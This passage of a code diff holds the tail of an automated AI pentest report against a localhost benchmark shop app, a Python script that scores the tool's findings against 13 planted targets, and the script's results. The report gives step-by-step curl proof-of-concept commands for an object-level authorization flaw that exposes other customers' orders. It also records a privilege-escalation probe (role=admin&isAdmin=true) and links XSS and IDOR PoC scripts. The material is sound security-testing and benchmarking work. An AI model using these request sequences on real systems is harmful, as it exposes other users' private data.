Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the /api/v2/orders/:id handler enforce order.userId === decodedJwt.id (or admin role) after loading the record; return 404/403 on mismatch. Also drop the internal `invoiceNotes`/`_flag` fields from the customer-facing response (BOPLA).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc2' --data-urlencode 'email=poc2@example.test' --data-urlencode 'password=Pw_2!aa' http://localhost:3000/register</pre></li><li><pre class=step>T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')</pre></li><li><pre class=step># control (no token): curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/orders/1001 -> 401</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1002</pre></li><li><pre class=step># observe distinct owners (userId 2,3,4) and their totals/internal notes</pre></li></ol><h4>Payload</h4><pre class=payload>GET /api/v2/orders/1001 (and 1002, 1003) with a low-privilege customer's Bearer JWT</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 17. Benign test account self-registered (capability for authenticated testing) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-620</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/register</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-620</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/register — POST /register, x-www-form-urlencoded fields username,email,password</p><h4>What it means</h4><p>Observed:
|
||||
- POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required. [E01]
|
||||
|
||||
Not demonstrated: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
|
||||
Potential impact: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>If open signup is intended, add email verification before activation; otherwise gate registration. Delete test account nrsplt_5e5001b1@example.test after engagement.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'email=nrsplt_5e5001b1@example.test' --data-urlencode 'password=NrSplt!d4e885Aa9' -c cj.txt http://localhost:3000/register</pre></li><li><pre class=step>curl -s -b cj.txt http://localhost:3000/account | grep 'My Account'</pre></li><li><pre class=step>curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login # -> 302 /account</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_5e5001b1&email=nrsplt_5e5001b1@example.test&password=NrSplt!d4e885Aa9</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 18. Test accounts created during the engagement (DELETE after) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design</td><td class=fk>Confidence</td><td>conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk>Auth context</td><td>n/a · 11 test account(s)</td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class</div><h4>Where the problem is</h4><p class=where>http://localhost:3000</p><h4>What it means</h4><p>Observed:
|
||||
- 11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01]
|
||||
- • nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account [E02]
|
||||
- • nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR [E03]
|
||||
- • nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued [E04]
|
||||
- • poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account) [E05]
|
||||
- • nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar [E06]
|
||||
- • nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar [E07]
|
||||
- • nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password [E08]
|
||||
- • nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users [E09]
|
||||
- • nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password [E10]
|
||||
- • nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued [E11]
|
||||
- • nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run [E12]
|
||||
|
||||
Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
|
||||
Potential impact: Operational cleanup: remove these accounts once testing is complete.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Delete the listed test accounts; rotate anything they touched.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
|
||||
curl -i -s 'http://localhost:3000'</pre></li></ol><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
|
||||
• nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account
|
||||
• nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR
|
||||
• nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued
|
||||
• poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account)
|
||||
• nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar
|
||||
• nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar
|
||||
• nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password
|
||||
• nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users
|
||||
• nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password
|
||||
• nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued
|
||||
• nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/idor_web_invoice.sh"><code>pocs/idor_web_invoice.sh</code></a></li><li><a href="pocs/bola_api_orders.sh"><code>pocs/bola_api_orders.sh</code></a></li><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li><li><a href="pocs/bola_api_users.sh"><code>pocs/bola_api_users.sh</code></a></li></ul></section><p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human.<br>NeuroSploit v4.0.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style="font-family:ui-monospace,monospace">JOASNSCOPE-49d3d3ceb1df-ns-1789870577-localhost_3000</span></p></body></html>
|
||||
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
# Score a NeuroSploit run against the user's 13 target scenarios (ground truth
|
||||
# from BenchMarkBurpAT/SOLUTIONS.md). Matching is by class + endpoint keyword.
|
||||
# No solver is involved — this only reads what the run reported.
|
||||
import json, sys, re
|
||||
|
||||
# The 13 targets the user asked to attack: id -> (cwe-ish class, endpoint keywords)
|
||||
TARGETS = {
|
||||
"web_idor_invoice": ("idor", ["/account/invoice", "invoice"]),
|
||||
"api_bola_orders": ("idor", ["/orders", "/v2/orders", "bola"]),
|
||||
"web_sqli_login_bypass": ("sqli", ["/login"]),
|
||||
"web_sqli_union_search": ("sqli", ["/shop/search", "search"]),
|
||||
"web_sqli_blind_boolean": ("sqli", ["/shop/filter", "maxprice", "filter"]),
|
||||
"web_sqli_blind_time": ("sqli", ["/support/feedback", "feedback", "comment"]),
|
||||
"web_sqli_second_order": ("sqli", ["/account/profile", "/admin/search-users", "bio", "second"]),
|
||||
"web_xss_reflected_search":("xss", ["/shop/search", "search"]),
|
||||
"web_xss_stored_review": ("xss", ["/review", "/shop/product"]),
|
||||
"web_xss_svg_upload": ("xss", ["/support/ticket", "/uploads", "svg"]),
|
||||
"web_xss_dom_redirect": ("xss", ["/go", "dom", "?url", "name="]),
|
||||
"web_open_redirect_login": ("redirect", ["/login", "next", "/go", "url="]),
|
||||
"web_crlf_header_go": ("crlf", ["/go", "crlf", "header inject"]),
|
||||
}
|
||||
|
||||
CLASS_CWE = {
|
||||
"sqli": {"89","943","564"},
|
||||
"xss": {"79","80","83","87"},
|
||||
"idor": {"639","862","863","284","285","566","425","200"},
|
||||
"redirect": {"601"},
|
||||
"crlf": {"113","93"},
|
||||
}
|
||||
|
||||
def classify(f):
|
||||
cwe = "".join(ch for ch in f.get("cwe","") if ch.isdigit())
|
||||
t = (f.get("title","")+" "+f.get("cwe","")).lower()
|
||||
for cls, cwes in CLASS_CWE.items():
|
||||
if cwe in cwes: return cls
|
||||
for cls, kw in {"sqli":["sql inj","sqli"],"xss":["xss","cross-site scripting"],
|
||||
"idor":["idor","bola","broken access","broken object"],
|
||||
"redirect":["open redirect"],"crlf":["crlf","response splitting","header inject"]}.items():
|
||||
if any(k in t for k in kw): return cls
|
||||
return "other"
|
||||
|
||||
def endpoint_blob(f):
|
||||
return " ".join(str(f.get(k,"")) for k in ("endpoint","title","payload","evidence")).lower()
|
||||
|
||||
def score(findings_path):
|
||||
findings = json.load(open(findings_path))
|
||||
hits = {} # target_id -> matched finding index
|
||||
used = set()
|
||||
for tid,(cls,kws) in TARGETS.items():
|
||||
for i,f in enumerate(findings):
|
||||
if i in used: continue
|
||||
if classify(f)!=cls: continue
|
||||
blob = endpoint_blob(f)
|
||||
if any(kw.lower() in blob for kw in kws):
|
||||
hits[tid]=i; used.add(i); break
|
||||
tp = len(hits)
|
||||
fn = [t for t in TARGETS if t not in hits]
|
||||
# extra findings not matched to a target = out-of-scope-but-real OR noise;
|
||||
# count as "extra" (not penalised as FP unless clearly bogus).
|
||||
extra = [i for i in range(len(findings)) if i not in used]
|
||||
return {
|
||||
"total_findings": len(findings),
|
||||
"targets_hit": tp,
|
||||
"targets_total": len(TARGETS),
|
||||
"recall": round(tp/len(TARGETS),3),
|
||||
"hit_ids": sorted(hits.keys()),
|
||||
"missed_ids": sorted(fn),
|
||||
"extra_findings": len(extra),
|
||||
}
|
||||
|
||||
if __name__=="__main__":
|
||||
import os
|
||||
for path in sys.argv[1:]:
|
||||
fp = path if path.endswith(".json") else os.path.join(path,"findings.json")
|
||||
try:
|
||||
r = score(fp)
|
||||
except Exception as e:
|
||||
print(f"{path}: ERROR {e}"); continue
|
||||
print(f"\n== {path} ==")
|
||||
print(f" findings reported : {r['total_findings']}")
|
||||
print(f" targets hit : {r['targets_hit']}/{r['targets_total']} (recall {r['recall']})")
|
||||
print(f" hit : {', '.join(r['hit_ids']) or '—'}")
|
||||
print(f" missed : {', '.join(r['missed_ids']) or '—'}")
|
||||
print(f" extra findings : {r['extra_findings']}")
|
||||
@@ -0,0 +1,14 @@
|
||||
|
||||
== /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000 ==
|
||||
findings reported : 16
|
||||
targets hit : 10/13 (recall 0.769)
|
||||
hit : api_bola_orders, web_open_redirect_login, web_sqli_blind_boolean, web_sqli_blind_time, web_sqli_login_bypass, web_sqli_union_search, web_xss_dom_redirect, web_xss_reflected_search, web_xss_stored_review, web_xss_svg_upload
|
||||
missed : web_crlf_header_go, web_idor_invoice, web_sqli_second_order
|
||||
extra findings : 6
|
||||
|
||||
== /opt/neurosploit-rs/runs/ns-1789855082-localhost_3000 ==
|
||||
findings reported : 0
|
||||
targets hit : 0/13 (recall 0.0)
|
||||
hit : —
|
||||
missed : api_bola_orders, web_crlf_header_go, web_idor_invoice, web_open_redirect_login, web_sqli_blind_boolean, web_sqli_blind_time, web_sqli_login_bypass, web_sqli_second_order, web_sqli_union_search, web_xss_dom_redirect, web_xss_reflected_search, web_xss_stored_review, web_xss_svg_upload
|
||||
extra findings : 0
|
||||
Reference in new issue
Block a user